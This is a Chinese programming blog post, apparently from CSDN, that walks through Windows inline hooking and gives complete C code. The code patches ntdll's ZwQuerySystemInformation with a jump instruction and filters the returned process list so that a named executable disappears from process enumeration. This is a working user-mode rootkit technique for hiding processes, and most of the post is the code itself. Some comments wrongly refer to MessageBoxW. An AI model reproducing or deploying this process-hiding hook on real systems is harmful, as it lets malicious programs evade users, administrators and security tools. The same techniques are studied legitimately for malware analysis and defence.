InlineHook

步骤:
加载函数所在的模块,获取要Hook的函数地址
根据要hook函数的原型创建自己的函数
计算偏移 = 自己创建的函数的地址 - 要Hook的函数地址 - 5,第一个字节为0xE9,构成无条件跳转指令
修改目标页属性,是其可读可写可执行
将前面构造的无条件跳转写入Hook函数地址处,大小为5字节,并保存之前的数据,以便修复
恢复页属性
注意点:
  构建自己函数的时候一定要加上调用约定,否则新函数会默认使用C语言的调用约定,这回

导致在函数返回过程中,因堆栈不平衡而报错

// 开启InlineHook
void OnInlineHook()
{
    // 1.获取函数地址
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
        (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");
 
    // 32位修改5个字节,64位修改12个字节
#ifndef _WIN64
    // jmp New_ZwQuerySystemInformation
    // 机器码位:e9 _dwOffset(跳转偏移)
    //          addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
    //          addr2 --> 跳转地址的值,即_dwNewAddress的值
    //          跳转偏移 _dwOffset = addr2 - addr1
    BYTE g_newcode[5] = { 0xE9 };
    // 2. 保存原始指令5个字节
    memcpy(g_oldcode32_ZwQ, ZwQuerySystemInformation, 5);
 
    // 3. 计算跳转偏移,构建跳转 newcode[5]
    // 跳转偏移  = 目标地址 - 指令所在- 指令长度
    DWORD dwOffset = (DWORD)MyZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
    *(DWORD*)(g_newcode + 1) = dwOffset;
#else
    // mov rax,0x1122334455667788
    // jmp rax
    // 机器码是:
    //      48 b8 8877665544332211
    //      ff e0
    BYTE g_newcode[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    // 2. 保存原始指令12个字节
    memcpy(g_oldcode64_ZwQ, ZwQuerySystemInformation, 12);
    // 3. 构建跳转 newcode[12]
    ULONGLONG dwOffset = (ULONGLONG)MyZwQuerySystemInformation;
    *(ULONGLONG*)(g_newcode + 2) = dwOffset;
#endif // !_WIN64
 
    // 4. 写入跳转偏移
    // 修改目标页属性
    DWORD dwOldProtect;
    VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 修改MessageBoxW指令前5个字节
    memcpy(ZwQuerySystemInformation, g_newcode, sizeof(g_newcode));
    // 恢复页属性
    VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), dwOldProtect, &dwOldProtect);
}
// 关闭InlineHook
void UnInlineHook()
{
    // 还原MessageBoxW前5个字节
    // 1.获取函数地址
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
        (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");
 
    // 2.还原指令前5字节
    // 修改目标页属性
    DWORD dwOldProtect;
    VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 32位下还原前5字节,64位下还原前12字节
#ifndef _WIN64
    // 修改函数指令前5个字节
    memcpy(ZwQuerySystemInformation, g_oldcode32_ZwQ, 5);
#else
    // 修改函数指令前12个字节
    memcpy(ZwQuerySystemInformation, g_oldcode64_ZwQ, 12);
#endif  // !_WIN64
 
    // 恢复页属性
    VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
// hook后的新代码
//特别注意要加上调用方式 WINAPI
NTSTATUS WINAPI MyZwQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
)
{
    NTSTATUS status = 0;
 
    PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
 
    // 要隐藏的进程名
    wchar_t dwHideProcessName[MAX_PATH] = L"BiaoBai_1.exe";
 
    // 卸载钩子
    UnInlineHook();
 
    // 1.获取函数地址
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
        (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");
    if (NULL == ZwQuerySystemInformation)
    {
        return status;
    }
    // 调用原函数 ZwQuerySystemInformation
    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
        SystemInformationLength, ReturnLength);
    //  如果是检索系统的进程信息并且调用原函数成功
    if (NT_SUCCESS(status) && 5 == SystemInformationClass)
    {
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
        while (TRUE)
        {
            // 判断是否是要隐藏的进程PID
            // 如果是要隐藏的进程PID
            if (lstrcmp(pCur->ImageName.Buffer,dwHideProcessName) == 0)
            {
                if (0 == pCur->NextEntryOffset)
                {
                    //当我们需要隐藏的进程是最后一个数据时
                    //就将上一个数据结构的NextEntryOffset置0
                    //这时系统在遍历我们进程时就不会发现了
                    pPrev->NextEntryOffset = 0;
                }
                else
                {
                    //当我们需要隐藏的进程 后面还有进程时
                    //越过要隐藏的进程让 NextEntryOffset
                    //指向下一个数据块
                    pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
                }
                //多个PID比较时,这里千万要去掉
                break;
            }
 
            if (0 == pCur->NextEntryOffset)
            {
                break;
            }
            pPrev = pCur;
            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
        }
    }
 
    //设置钩子
    OnInlineHook();
 
    return status;
}
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值